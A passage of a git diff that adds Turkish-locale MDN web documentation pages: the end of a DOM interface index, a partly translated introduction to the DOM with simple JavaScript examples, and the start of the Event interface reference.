<li>{{DOMxRef("SVGPathSegCurvetoCubicAbs")}} {{Deprecated_Inline}}</li> + <li>{{DOMxRef("SVGPathSegCurvetoCubicRel")}} {{Deprecated_Inline}}</li> + <li>{{DOMxRef("SVGPathSegCurvetoQuadraticAbs")}} {{Deprecated_Inline}}</li> + <li>{{DOMxRef("SVGPathSegCurvetoQuadraticRel")}} {{Deprecated_Inline}}</li> + <li>{{DOMxRef("SVGPathSegArcAbs")}} {{Deprecated_Inline}}</li> + <li>{{DOMxRef("SVGPathSegArcRel")}} {{Deprecated_Inline}}</li> + <li>{{DOMxRef("SVGPathSegLinetoHorizontalAbs")}} {{Deprecated_Inline}}</li> + <li>{{DOMxRef("SVGPathSegLinetoHorizontalRel")}} {{Deprecated_Inline}}</li> + <li>{{DOMxRef("SVGPathSegLinetoVerticalAbs")}} {{Deprecated_Inline}}</li> + <li>{{DOMxRef("SVGPathSegLinetoVerticalRel")}} {{Deprecated_Inline}}</li> + <li>{{DOMxRef("SVGPathSegCurvetoCubicSmoothAbs")}} {{Deprecated_Inline}}</li> + <li>{{DOMxRef("SVGPathSegCurvetoCubicSmoothRel")}} {{Deprecated_Inline}}</li> + <li>{{DOMxRef("SVGPathSegCurvetoQuadraticSmoothAbs")}} {{Deprecated_Inline}}</li> + <li>{{DOMxRef("SVGPathSegCurvetoQuadraticSmoothRel")}} {{Deprecated_Inline}}</li> + <li>{{DOMxRef("SVGPathSegList")}} {{Deprecated_Inline}}</li> + <li>{{DOMxRef("SVGPoint")}} {{Deprecated_Inline}}</li> + <li>{{DOMxRef("SVGPointList")}} {{Deprecated_Inline}}</li> + <li>{{DOMxRef("SVGPreserveAspectRatio")}}</li> + <li>{{DOMxRef("SVGRect")}} {{Deprecated_Inline}}</li> + <li>{{DOMxRef("SVGStringList")}}</li> + <li>{{DOMxRef("SVGTransform")}}</li> + <li>{{DOMxRef("SVGTransformList")}}</li> +</ul> +</div> + +<h4 id="Animated_type">Animated type</h4> + +<div class="index"> +<ul> + <li>{{DOMxRef("SVGAnimatedAngle")}}</li> + <li>{{DOMxRef("SVGAnimatedBoolean")}}</li> + <li>{{DOMxRef("SVGAnimatedEnumeration")}}</li> + <li>{{DOMxRef("SVGAnimatedInteger")}}</li> + <li>{{DOMxRef("SVGAnimatedLength")}}</li> + <li>{{DOMxRef("SVGAnimatedLengthList")}}</li> + <li>{{DOMxRef("SVGAnimatedNumber")}}</li> + <li>{{DOMxRef("SVGAnimatedNumberList")}}</li> + <li>{{DOMxRef("SVGAnimatedPathData")}} {{Deprecated_Inline}}</li> + <li>{{DOMxRef("SVGAnimatedPoints")}}</li> + <li>{{DOMxRef("SVGAnimatedPreserveAspectRatio")}}</li> + <li>{{DOMxRef("SVGAnimatedRect")}}</li> + <li>{{DOMxRef("SVGAnimatedString")}}</li> + <li>{{DOMxRef("SVGAnimatedTransformList")}}</li> +</ul> +</div> + +<h3 id="SMIL_related_interfaces">SMIL related interfaces</h3> + +<div class="index"> +<ul> + <li>{{DOMxRef("ElementTimeControl")}}</li> + <li>{{DOMxRef("TimeEvent")}}</li> +</ul> +</div> + +<h3 id="Other_SVG_interfaces">Other SVG interfaces</h3> + +<div class="index"> +<ul> + <li>{{DOMxRef("GetSVGDocument")}}</li> + <li>{{DOMxRef("ShadowAnimation")}}</li> + <li>{{DOMxRef("SVGColorProfileRule")}} {{Deprecated_Inline}}</li> + <li>{{DOMxRef("SVGCSSRule")}} {{Deprecated_Inline}}</li> + <li>{{DOMxRef("SVGDocument")}}</li> + <li>{{DOMxRef("SVGException")}} {{Deprecated_Inline}}</li> + <li>{{DOMxRef("SVGExternalResourcesRequired")}} {{Deprecated_Inline}}</li> + <li>{{DOMxRef("SVGFitToViewBox")}}</li> + <li>{{DOMxRef("SVGLangSpace")}} {{Deprecated_Inline}}</li> + <li>{{DOMxRef("SVGLocatable")}} {{Deprecated_Inline}}</li> + <li>{{DOMxRef("SVGRenderingIntent")}} {{Deprecated_Inline}}</li> + <li>{{DOMxRef("SVGStylable")}} {{Deprecated_Inline}}</li> + <li>{{DOMxRef("SVGTests")}}</li> + <li>{{DOMxRef("SVGTransformable")}} {{Deprecated_Inline}}</li> + <li>{{DOMxRef("SVGUnitTypes")}}</li> + <li>{{DOMxRef("SVGUseElementShadowRoot")}}</li> + <li>{{DOMxRef("SVGURIReference")}}</li> + <li>{{DOMxRef("SVGViewSpec")}} {{Deprecated_Inline}}</li> + <li>{{DOMxRef("SVGZoomAndPan")}}</li> + <li>{{DOMxRef("SVGZoomEvent")}} {{Deprecated_Inline}}</li> +</ul> +</div> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName("DOM WHATWG")}}</td> + <td>{{Spec2("DOM WHATWG")}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName("DOM4")}}</td> + <td>{{Spec2("DOM4")}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName("DOM3 Core")}}</td> + <td>{{Spec2("DOM3 Core")}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName("DOM2 Core")}}</td> + <td>{{Spec2("DOM2 Core")}}</td> + <td>g</td> + </tr> + <tr> + <td>{{SpecName("DOM1")}}</td> + <td>{{Spec2("DOM1")}}</td> + <td>Initial definition</td> + </tr> + </tbody> +</table> + +<h2 id="See_also">See also</h2> + +<ul> + <li><a href="/en-US/docs/Web/API/Document_Object_Model/Examples">DOM Examples</a></li> + <li><a href="/en-US/docs/Web/API/CSS_Object_Model">CSS Object Model (CSSOM)</a></li> +</ul> diff --git a/files/tr/web/api/document_object_model/introduction/index.html b/files/tr/web/api/document_object_model/introduction/index.html new file mode 100644 index 0000000000..ace5f3c84b --- /dev/null +++ b/files/tr/web/api/document_object_model/introduction/index.html @@ -0,0 +1,245 @@ +--- +title: DOM giriş +slug: Web/API/Document_Object_Model/Introduction +translation_of: Web/API/Document_Object_Model/Introduction +--- +<p><span class="seoSummary"><strong>Document Object Model</strong> (<strong>DOM</strong>) web dökümanında oluşturulan içerik ve yapılar gibi nesnelerin veri gösterimidir.Bu klavuzda,DOM' u kısaca göstereceğiz.</span>O halde DOM hafızada nasıl HTML ya da XML dökümanını temsil eder ve web içerik ve uygulamaları için API nasıl kullanılır bakalım.</p> + +<h2 id="What_is_the_DOM" name="What_is_the_DOM">DOM nedir ?</h2> + +<p>Document Object Model (DOM) , HTML ve XML için programlama arayüzüdür. Sayfayı temsil eder ve böylece program döküman yapısını, stilini ve içeriğini değiştirebilir. DOM dökümanı nodes(düğümler) ve objects(nesneler) şeklinde temsil eder. Bu sayede programlama dili sayfayla bağlantı kurabilir.</p> + +<p>Web sayfası bir dökümandır. Bu döküman tarayıcı penceresinde ya da HTML kaynağı gibi görüntülenebilir. Ama her iki durumda da aynı belge vardır. DOM aynı belgeyi temsil eder bu yüzden değiştirilebilir. DOM web sayfasında nesne yönelimli temsilidir, ki javascript gibi script dilleri ile modifiye edilebilir.</p> + +<p><a class="external external-icon" href="http://www.w3.org/DOM/">W3C DOM</a> <span class="tlid-translation translation" lang="tr"><span title=""> ve </span></span> <a class="external external-icon" href="https://dom.spec.whatwg.org">WHATWG DOM</a> <span class="tlid-translation translation" lang="tr"><span title=""> standartları çoğu modern tarayıcıda uygulanmaktadır.</span></span></p> + +<p>For example, the standard DOM specifies that the <code>getElementsByTagName</code> method in the code below must return a list of all the <code><p></code> elements in the document:</p> + +<pre class="brush: js notranslate">const paragraphs = document.getElementsByTagName("p"); +// paragraphs[0] is the first <p> element +// paragraphs[1] is the second <p> element, etc. +alert(paragraphs[0].nodeName); +</pre> + +<p>All of the properties, methods, and events available for manipulating and creating web pages are organized into objects (for example, the <code>document</code> object that represents the document itself, the <code>table</code> object that implements the special {{domxref("HTMLTableElement")}} DOM interface for accessing HTML tables, and so forth). This documentation provides an object-by-object reference to the DOM.</p> + +<p>The modern DOM is built using multiple APIs that work together. The core <a href="/en-US/docs/Web/API/Document_Object_Model">DOM</a> defines the objects that fundamentally describe a document and the objects within it. This is expanded upon as needed by other APIs that add new features and capabilities to the DOM. For example, the <a href="/en-US/docs/Web/API/HTML_DOM">HTML DOM API</a> adds support for representing HTML documents to the core DOM.</p> + +<h2 id="DOM_and_JavaScript" name="DOM_and_JavaScript">DOM and JavaScript</h2> + +<p>The short example above, like nearly all of the examples in this reference, is {{glossary("JavaScript")}}. That is to say, it's <em>written</em> in JavaScript, but it <em>uses</em> the DOM to access the document and its elements. The DOM is not a programming language, but without it, the JavaScript language wouldn't have any model or notion of web pages, HTML documents, XML documents, and their component parts (e.g. elements). Every element in a document—the document as a whole, the head, tables within the document, table headers, text within the table cells—is part of the document object model for that document, so they can all be accessed and manipulated using the DOM and a scripting language like JavaScript.</p> + +<p>In the beginning, JavaScript and the DOM were tightly intertwined, but eventually, they evolved into separate entities. The page content is stored in the DOM and may be accessed and manipulated via JavaScript, so that we may write this approximative equation:</p> + +<p>API = DOM + JavaScript</p> + +<p>The DOM was designed to be independent of any particular programming language, making the structural representation of the document available from a single, consistent API. Though we focus exclusively on JavaScript in this reference documentation, implementations of the DOM can be built for any language, as this Python example demonstrates:</p> + +<pre class="brush: python notranslate"># Python DOM example +import xml.dom.minidom as m +doc = m.parse(r"C:\Projects\Py\chap1.xml") +doc.nodeName # DOM property of document object +p_list = doc.getElementsByTagName("para") +</pre> + +<p>For more information on what technologies are involved in writing JavaScript on the web, see <a href="/en-US/docs/Web/JavaScript/JavaScript_technologies_overview">JavaScript technologies overview</a>.</p> + +<h2 id="How_Do_I_Access_the_DOM.3F" name="How_Do_I_Access_the_DOM.3F">Accessing the DOM</h2> + +<p>You don't have to do anything special to begin using the DOM. Different browsers have different implementations of the DOM, and these implementations exhibit varying degrees of conformance to the actual DOM standard (a subject we try to avoid in this documentation), but every web browser uses some document object model to make web pages accessible via JavaScript.</p> + +<p>When you create a script–whether it's inline in a <code><script></code> element or included in the web page by means of a script loading instruction–you can immediately begin using the API for the {{domxref("document")}} or {{domxref("Window", "window")}} elements to manipulate the document itself or to get at the children of that document, which are the various elements in the web page. Your DOM programming may be something as simple as the following, which displays an alert message by using the {{domxref("window.alert", "alert()")}} function from the {{domxref("Window", "window")}} object, or it may use more sophisticated DOM methods to actually create new content, as in the longer example below.</p> + +<p>This following JavaScript will display an alert when the document is loaded (and when the whole DOM is available for use):</p> + +<pre class="brush: html notranslate"><body onload="window.alert('Welcome to my home page!');"> +</pre> + +<p>Another example. This function creates a new H1 element, adds text to that element, and then adds the <code>H1</code> to the tree for this document:</p> + +<pre class="brush: html notranslate"><html> + <head> + <script> + // run this function when the document is loaded + window.onload = function() { + + // create a couple of elements in an otherwise empty HTML page + const heading = document.createElement("h1"); + const heading_text = document.createTextNode("Big Head!"); + heading.appendChild(heading_text); + document.body.appendChild(heading); + } + </script> + </head> + <body> + </body> +</html> +</pre> + +<h2 id="Important_Data_Types" name="Important_Data_Types">Fundamental data types</h2> + +<p>This reference tries to describe the various objects and types in simple terms. But there are a number of different data types being passed around the API that you should be aware of.</p> + +<div class="blockIndicator note"> +<p><strong>Note:</strong> Because the vast majority of code that uses the DOM revolves around manipulating HTML documents, it's common to refer to the nodes in the DOM as <strong>elements</strong>, although strictly speaking not every node is an element.</p> +</div> + +<p>The following table briefly describes these data types.</p> + +<table class="standard-table"> + <thead> + <tr> + <th>Data type (Interface)</th> + <th>Description</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{domxref("Document")}}</td> + <td>When a member returns an object of type <code>document</code> (e.g., the <code>ownerDocument</code> property of an element returns the <code>document</code> to which it belongs), this object is the root <code>document</code> object itself. The <a href="/en-US/docs/Web/API/Document">DOM <code>document</code> Reference</a> chapter describes the <code>document</code> object.</td> + </tr> + <tr> + <td>{{domxref("Node")}}</td> + <td>Every object located within a document is a node of some kind. In an HTML document, an object can be an element node but also a text node or attribute node.</td> + </tr> + <tr> + <td>{{domxref("Element")}}</td> + <td>The <code>element</code> type is based on <code>node</code>. It refers to an element or a node of type <code>element</code> returned by a member of the DOM API. Rather than saying, for example, that the {{domxref("document.createElement()")}} method returns an object reference to a <code>node</code>, we just say that this method returns the <code>element</code> that has just been created in the DOM. <code>element</code> objects implement the DOM <code>Element</code> interface and also the more basic <code>Node</code> interface, both of which are included together in this reference. In an HTML document, elements are further enhanced by the HTML DOM API's {{domxref("HTMLElement")}} interface as well as other interfaces describing capabilities of specific kinds of elements (for instance, {{domxref("HTMLTableElement")}} for {{HTMLElement("table")}} elements).</td> + </tr> + <tr> + <td>{{domxref("NodeList")}}</td> + <td>A <code>nodeList</code> is an array of elements, like the kind that is returned by the method {{domxref("document.getElementsByTagName()")}}. Items in a <code>nodeList</code> are accessed by index in either of two ways: + <ul> + <li>list.item(1)</li> + <li>list[1]</li> + </ul> + These two are equivalent. In the first, <code>item()</code> is the single method on the <code>nodeList</code> object. The latter uses the typical array syntax to fetch the second item in the list.</td> + </tr> + <tr> + <td>{{domxref("Attribute")}}</td> + <td>When an <code>attribute</code> is returned by a member (e.g., by the <code>createAttribute()</code> method), it is an object reference that exposes a special (albeit small) interface for attributes. Attributes are nodes in the DOM just like elements are, though you may rarely use them as such.</td> + </tr> + <tr> + <td>{{domxref("NamedNodeMap")}}</td> + <td>A <code>namedNodeMap</code> is like an array, but the items are accessed by name or index, though this latter case is merely a convenience for enumeration, as they are in no particular order in the list. A <code>namedNodeMap</code> has an <code>item()</code> method for this purpose, and you can also add and remove items from a <code>namedNodeMap</code>.</td> + </tr> + </tbody> +</table> + +<p>There are also some common terminology considerations to keep in mind. It's common to refer to any {{domxref("Attribute")}} node as simply an <code>attribute</code>, for example, and to refer to an array of DOM nodes as a <code>nodeList</code>. You'll find these terms and others to be introduced and used throughout the documentation.</p> + +<h2 id="DOM_interfaces" name="DOM_interfaces">DOM interfaces</h2> + +<p>This guide is about the objects and the actual <em>things</em> you can use to manipulate the DOM hierarchy. There are many points where understanding how these work can be confusing. For example, the object representing the HTML <code>form</code> element gets its <code>name</code> property from the <code>HTMLFormElement</code> interface but its <code>className</code> property from the <code>HTMLElement</code> interface. In both cases, the property you want is simply in that form object.</p> + +<p>But the relationship between objects and the interfaces that they implement in the DOM can be confusing, and so this section attempts to say a little something about the actual interfaces in the DOM specification and how they are made available.</p> + +<h3 id="Interfaces_and_Objects" name="Interfaces_and_Objects">Interfaces and Objects</h3> + +<p>Many objects borrow from several different interfaces. The table object, for example, implements a specialized {{domxref("HTMLTableElement")}} interface, which includes such methods as <code>createCaption</code> and <code>insertRow</code>. But since it's also an HTML element, <code>table</code> implements the <code>Element</code> interface described in the DOM {{domxref("Element")}} Reference chapter. And finally, since an HTML element is also, as far as the DOM is concerned, a node in the tree of nodes that make up the object model for an HTML or XML page, the table object also implements the more basic <code>Node</code> interface, from which <code>Element</code> derives.</p> + +<p>When you get a reference to a <code>table</code> object, as in the following example, you routinely use all three of these interfaces interchangeably on the object, perhaps without knowing it.</p> + +<pre class="brush: js notranslate">const table = document.getElementById("table"); +const tableAttrs = table.attributes; // Node/Element interface +for (let i = 0; i < tableAttrs.length; i++) { + // HTMLTableElement interface: border attribute + if(tableAttrs[i].nodeName.toLowerCase() == "border") + table.border = "1"; +} +// HTMLTableElement interface: summary attribute +table.summary = "note: increased border"; +</pre> + +<h3 id="Core_Interfaces_in_the_DOM" name="Core_Interfaces_in_the_DOM">Core Interfaces in the DOM</h3> + +<p>This section lists some of the most commonly-used interfaces in the DOM. The idea is not to describe what these APIs do here but to give you an idea of the sorts of methods and properties you will see very often as you use the DOM. These common APIs are used in the longer examples in the <a href="/en-US/docs/Web/API/Document_Object_Model/Examples">DOM Examples</a> chapter at the end of this book.</p> + +<p>The <code>document</code> and <code>window</code> objects are the objects whose interfaces you generally use most often in DOM programming. In simple terms, the <code>window</code> object represents something like the browser, and the <code>document</code> object is the root of the document itself. <code>Element</code> inherits from the generic <code>Node</code> interface, and together these two interfaces provide many of the methods and properties you use on individual elements. These elements may also have specific interfaces for dealing with the kind of data those elements hold, as in the <code>table</code> object example in the previous section.</p> + +<p>The following is a brief list of common APIs in web and XML page scripting using the DOM.</p> + +<ul> + <li><code>{{domxref("document.getElementById", "", "", "1")}}(id)</code></li> + <li><code>document.{{domxref("Element.getElementsByTagName", "getElementsByTagName", "", "1")}}(name)</code></li> + <li><code>{{domxref("document.createElement", "", "", "1")}}(name)</code></li> + <li><code>parentNode.{{domxref("Node.appendChild", "appendChild", "", "1")}}(node)</code></li> + <li><code>element.{{domxref("element.innerHTML", "innerHTML", "", "1")}}</code></li> + <li><code>element.{{domxref("HTMLElement.style", "style", "", "1")}}.left</code></li> + <li><code>element.{{domxref("element.setAttribute", "setAttribute", "", "1")}}()</code></li> + <li><code>element.{{domxref("element.getAttribute", "getAttribute", "", "1")}}()</code></li> + <li><code>element.{{domxref("EventTarget.addEventListener", "addEventListener", "", "1")}}()</code></li> + <li><code>{{domxref("window.content", "", "", "1")}}</code></li> + <li><code>{{domxref("window.onload", "", "", "1")}}</code></li> + <li><code>{{domxref("window.scrollTo", "", "", "1")}}()</code></li> +</ul> + +<h2 id="Testing_the_DOM_API" name="Testing_the_DOM_API">Testing the DOM API</h2> + +<p>This document provides samples for every interface that you can use in your own web development. In some cases, the samples are complete HTML pages, with the DOM access in a <code><script></code> element, the interface (e.g, buttons) necessary to fire up the script in a form, and the HTML elements upon which the DOM operates listed as well. When this is the case, you can cut and paste the example into a new HTML document, save it, and run the example from the browser.</p> + +<p>There are some cases, however, when the examples are more concise. To run examples that only demonstrate the basic relationship of the interface to the HTML elements, you may want to set up a test page in which interfaces can be easily accessed from scripts. The following very simple web page provides a <code><script></code> element in the header in which you can place functions that test the interface, a few HTML elements with attributes that you can retrieve, set, or otherwise manipulate, and the web user interface necessary to call those functions from the browser.</p> + +<p>You can use this test page or create a similar one to test the DOM interfaces you are interested in and see how they work on the browser platform. You can update the contents of the <code>test()</code> function as needed, create more buttons, or add elements as necessary.</p> + +<pre class="brush: html notranslate"><html> +<head> + <title>DOM Tests</title> + <script> + function setBodyAttr(attr, value) { + if (document.body) document.body[attr] = value; + else throw new Error("no support"); + } + </script> +</head> +<body> + <div style="margin: .5in; height: 400px;"> + <p><b><tt>text</tt></b></p> + <form> + <select onChange="setBodyAttr('text', + this.options[this.selectedIndex].value);"> + <option value="black">black</option> + <option value="red">red</option> + </select> + <p><b><tt>bgColor</tt></b></p> + <select onChange="setBodyAttr('bgColor', + this.options[this.selectedIndex].value);"> + <option value="white">white</option> + <option value="lightgrey">gray</option> + </select> + <p><b><tt>link</tt></b></p> + <select onChange="setBodyAttr('link', + this.options[this.selectedIndex].value);"> + <option value="blue">blue</option> + <option value="green">green</option> + </select> + <small> + <a href="http://some.website.tld/page.html" id="sample"> + (sample link) + </a> + </small><br /> + <input type="button" value="version" onclick="ver()" /> + </form> + </div> +</body> +</html> +</pre> + +<p>To test a lot of interfaces in a single page—for example, a "suite" of properties that affect the colors of a web page—you can create a similar test page with a whole console of buttons, textfields, and other HTML elements. The following screenshot gives you some idea of how interfaces can be grouped together for testing.</p> + +<figure> +<figcaption>Figure 0.1 Sample DOM Test Page</figcaption> +<img alt="Image:DOM_Ref_Introduction_to_the_DOM.gif" class="internal" src="/@api/deki/files/173/=DOM_Ref_Introduction_to_the_DOM.gif"></figure> + +<p>In this example, the drop-down menus dynamically update such DOM—accessible aspects of the web page as its background color (<code>bgColor</code>), the color of the hyperlinks (<code>aLink</code>), and color of the text (<code>text</code>). However, you design your test pages, testing the interfaces as you read about them is an important part of learning how to use the DOM effectively.</p> + +<h2 id="Subnav">Subnav</h2> + +<ul> + <li><a href="/en-US/docs/Web/API/Document_Object_Model">DOM Reference</a></li> + <li><a href="/en-US/docs/Web/API/Document_Object_Model/Introduction">Introduction to the DOM</a></li> + <li><a href="/en-US/docs/Web/API/Document_Object_Model/Events">Events and the DOM</a></li> + <li><a href="/en-US/docs/Web/API/Document_Object_Model/Examples">Examples</a></li> +</ul> + +<div>{{DefaultAPISidebar("DOM")}}</div> diff --git a/files/tr/web/api/event/index.html b/files/tr/web/api/event/index.html new file mode 100644 index 0000000000..5b9e58046e --- /dev/null +++ b/files/tr/web/api/event/index.html @@ -0,0 +1,202 @@ +--- +title: Event +slug: Web/API/Event +tags: + - API + - DOM + - Event + - Interface + - NeedsTranslation + - Reference + - TopicStub + - UI + - listener +translation_of: Web/API/Event +--- +<p>{{APIRef("DOM")}}</p> + +<p>The <code><strong>Event</strong></code> interface represents any event which takes place in the DOM; some are user-generated (such as mouse or keyboard events), while others are generated by APIs (such as events that indicate an animation has finished running, a video has been paused, and so forth). While events are usually triggered by such "external" sources, they can also be triggered programmatically, such as by calling the <a href="https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/click" title="The HTMLElement.click() method simulates a mouse click on an element."><code>HTMLElement.click()</code></a> method of an element, or by defining the event, then sending it to a specified target using <a href="https://developer.mozilla.org/en-US/docs/Web/API/EventTarget/dispatchEvent" title="Dispatches an Event at the specified EventTarget, (synchronously) invoking the affected EventListeners in the appropriate order. The normal event processing rules (including the capturing and optional bubbling phase) also apply to events dispatched manually with dispatchEvent()."><code>EventTarget.dispatchEvent()</code></a>. There are many types of events, some of which use other interfaces based on the main <code>Event</code> interface. <code>Event</code> itself contains the properties and methods which are common to all events.</p> + +<p>Many DOM elements can be set up to accept (or "listen" for) these events, and execute code in response to process (or "handle") them. Event-handlers are usually connected (or "attached") to various <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element">HTML elements</a> (such as <button>, <div>, <span>, etc.) using <a href="https://developer.mozilla.org/en-US/docs/Web/API/EventTarget/addEventListener" title="The EventTarget method addEventListener() sets up a function that will be called whenever the specified event is delivered to the target."><code>EventTarget.addEventListener()</code></a>, and this generally replaces using the old HTML <a href="https://developer.mozilla.org/en-US/docs/HTML/Global_attributes">event handler attributes</a>. Further, when properly added, such handlers can also be disconnected if needed using <a href="https://developer.mozilla.org/en-US/docs/Web/API/EventTarget/removeEventListener" title="The EventTarget.removeEventListener() method removes from the EventTarget an event listener previously registered with EventTarget.addEventListener(). The event listener to be removed is identified using a combination of the event type, the event listener function itself, and various optional options that may affect the matching process; see Matching event listeners for removal"><code>removeEventListener()</code></a>. Note that one element can have several such handlers, even for the exact same event, particularly if separate, independent code modules attach them, each for its own independent purposes (for example, a webpage with an advertising-module and statistics-module both monitoring video-watching). When there are many nested elements, each with its own handler(s), event processing can become very complicated -- especially where a parent element receives the very same event as its child elements because "spatially" they overlap so the event technically occurs in both, and the processing order of such events depends on the <a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Building_blocks/Events#Event_bubbling_and_capture">Event bubbling and capture</a> settings of each handler triggered.</p> + +<h2 id="Introduction" name="Introduction">Interfaces based on Event</h2> + +<p>Below is a list of interfaces which are based on the main <code>Event</code> interface, with links to their respective documentation in the MDN API reference. Note that all event interfaces have names which end in "Event".</p> + +<div class="index"> +<ul> + <li>{{domxref("AnimationEvent")}}</li> + <li>{{domxref("AudioProcessingEvent")}}</li> + <li>{{domxref("BeforeInputEvent")}}</li> + <li>{{domxref("BeforeUnloadEvent")}}</li> + <li>{{domxref("BlobEvent")}}</li> + <li>{{domxref("ClipboardEvent")}}</li> + <li>{{domxref("CloseEvent")}}</li> + <li>{{domxref("CompositionEvent")}}</li> + <li>{{domxref("CSSFontFaceLoadEvent")}}</li> + <li>{{domxref("CustomEvent")}}</li> + <li>{{domxref("DeviceLightEvent")}}</li> + <li>{{domxref("DeviceMotionEvent")}}</li> + <li>{{domxref("DeviceOrientationEvent")}}</li> + <li>{{domxref("DeviceProximityEvent")}}</li> + <li>{{domxref("DOMTransactionEvent")}}</li> + <li>{{domxref("DragEvent")}}</li> + <li>{{domxref("EditingBeforeInputEvent")}}</li> + <li>{{domxref("ErrorEvent")}}</li> + <li>{{domxref("FetchEvent")}}</li> + <li>{{domxref("FocusEvent")}}</li> + <li>{{domxref("GamepadEvent")}}</li> + <li>{{domxref("HashChangeEvent")}}</li> + <li>{{domxref("IDBVersionChangeEvent")}}</li> + <li>{{domxref("InputEvent")}}</li> + <li>{{domxref("KeyboardEvent")}}</li> + <li>{{domxref("MediaStreamEvent")}}</li> + <li>{{domxref("MessageEvent")}}</li> + <li>{{domxref("MouseEvent")}}</li> + <li>{{domxref("MutationEvent")}}</li> + <li>{{domxref("OfflineAudioCompletionEvent")}}</li> + <li>{{domxref("PageTransitionEvent")}}</li> + <li>{{domxref("PaymentRequestUpdateEvent")}}</li> + <li>{{domxref("PointerEvent")}}</li> + <li>{{domxref("PopStateEvent")}}</li> + <li>{{domxref("ProgressEvent")}}</li> + <li>{{domxref("RelatedEvent")}}</li> + <li>{{domxref("RTCDataChannelEvent")}}</li> + <li>{{domxref("RTCIdentityErrorEvent")}}</li> + <li>{{domxref("RTCIdentityEvent")}}</li> + <li>{{domxref("RTCPeerConnectionIceEvent")}}</li> + <li>{{domxref("SensorEvent")}}</li> + <li>{{domxref("StorageEvent")}}</li> + <li>{{domxref("SVGEvent")}}</li> + <li>{{domxref("SVGZoomEvent")}}</li> + <li>{{domxref("TimeEvent")}}</li> + <li>{{domxref("TouchEvent")}}</li> + <li>{{domxref("TrackEvent")}}</li> + <li>{{domxref("TransitionEvent")}}</li> + <li>{{domxref("UIEvent")}}</li> + <li>{{domxref("UserProximityEvent")}}</li> + <li>{{domxref("WebGLContextEvent")}}</li> + <li>{{domxref("WheelEvent")}}</li> +</ul> +</div> + +<h2 id="Constructor" name="Constructor">Constructor</h2> + +<dl> + <dt>{{domxref("Event.Event", "Event()")}}</dt> + <dd>Creates an <code>Event</code> object, returning it to the caller.</dd> +</dl> + +<h2 id="Properties" name="Properties">Properties</h2> + +<dl> + <dt>{{domxref("Event.bubbles")}} {{readonlyinline}}</dt> + <dd>A Boolean indicating whether the event bubbles up through the DOM or not.</dd> + <dt>{{domxref("Event.cancelBubble")}}</dt> + <dd>A historical alias to {{domxref("Event.stopPropagation()")}}. Setting its value to <code>true</code> before returning from an event handler prevents propagation of the event.</dd> + <dt>{{domxref("Event.cancelable")}} {{readonlyinline}}</dt> + <dd>A Boolean indicating whether the event is cancelable.</dd> + <dt>{{domxref("Event.composed")}} {{ReadOnlyInline}}</dt> + <dd>A Boolean value indicating whether or not the event can bubble across the boundary between the shadow DOM and the regular DOM.</dd> + <dt>{{domxref("Event.currentTarget")}} {{readonlyinline}}</dt> + <dd>A reference to the currently registered target for the event. This is the object to which the event is currently slated to be sent; it's possible this has been changed along the way through <em>retargeting</em>.</dd> + <dt>{{domxref("Event.deepPath")}} {{non-standard_inline}}</dt> + <dd>An {{jsxref("Array")}} of DOM {{domxref("Node")}}s through which the event has bubbled.</dd> + <dt>{{domxref("Event.defaultPrevented")}} {{readonlyinline}}</dt> + <dd>Indicates whether or not {{domxref("event.preventDefault()")}} has been called on the event.</dd> + <dt>{{domxref("Event.eventPhase")}} {{readonlyinline}}</dt> + <dd>Indicates which phase of the event flow is being processed.</dd> + <dt>{{domxref("Event.explicitOriginalTarget")}} {{non-standard_inline}} {{readonlyinline}}</dt> + <dd>The explicit original target of the event (Mozilla-specific).</dd> + <dt>{{domxref("Event.originalTarget")}} {{non-standard_inline}} {{readonlyinline}}</dt> + <dd>The original target of the event, before any retargetings (Mozilla-specific).</dd> + <dt>{{domxref("Event.returnValue")}}</dt> + <dd>A historical property introduced by Internet Explorer and eventually adopted into the DOM specification in order to ensure existing sites continue to work. Ideally, you should try to use {{domxref("Event.preventDefault()")}} and {{domxref("Event.defaultPrevented")}} instead, but you can use <code>returnValue</code> if you choose to do so.</dd> + <dt>{{domxref("Event.srcElement")}} {{non-standard_inline}}</dt> + <dd>A non-standard alias (from old versions of Microsoft Internet Explorer) for {{domxref("Event.target")}}, which is starting to be supported in some other browsers for web compatibility purposes.</dd> + <dt>{{domxref("Event.target")}} {{readonlyinline}}</dt> + <dd>A reference to the target to which the event was originally dispatched.</dd> + <dt>{{domxref("Event.timeStamp")}} {{readonlyinline}}</dt> + <dd>The time at which the event was created (in milliseconds). By specification, this value is time since epoch, but in reality browsers' definitions vary; in addition, work is underway to change this to be a {{domxref("DOMHighResTimeStamp")}} instead.</dd> + <dt>{{domxref("Event.type")}} {{readonlyinline}}</dt> + <dd>The name of the event (case-insensitive).</dd> + <dt>{{domxref("Event.isTrusted")}} {{readonlyinline}}</dt> + <dd>Indicates whether or not the event was initiated by the browser (after a user click for instance) or by a script (using an event creation method, like <a href="/en-US/docs/DOM/event.initEvent">event.initEvent</a>).</dd> +</dl> + +<h3 id="Obsolete_properties">Obsolete properties</h3> + +<dl> + <dt>{{domxref("Event.scoped")}} {{readonlyinline}} {{obsolete_inline}}</dt> + <dd>A {{jsxref("Boolean")}} indicating whether the given event will bubble across through the shadow root into the standard DOM. This property has been renamed to {{domxref("Event.composed", "composed")}}.</dd> +</dl> + +<h2 id="Methods" name="Methods">Methods</h2> + +<dl> + <dt>{{domxref("Event.createEvent()")}} {{deprecated_inline}}</dt> + <dd> + <p>Creates a new event, which must then be initialized by calling its <code>initEvent()</code> method.</p> + </dd> + <dt>{{domxref("Event.composedPath()")}}</dt> + <dd>Returns the event’s path (objects on which listeners will be invoked). This does not include nodes in shadow trees if the shadow root was created with its {{domxref("ShadowRoot.mode")}} closed.</dd> +</dl> + +<dl> + <dt>{{domxref("Event.initEvent()")}} {{deprecated_inline}}</dt> + <dd>Initializes the value of an Event created. If the event has already being dispatched, this method does nothing.</dd> + <dt>{{domxref("Event.preventDefault()")}}</dt> + <dd>Cancels the event (if it is cancelable).</dd> + <dt>{{domxref("Event.stopImmediatePropagation()")}}</dt> + <dd>For this particular event, no other listener will be called. 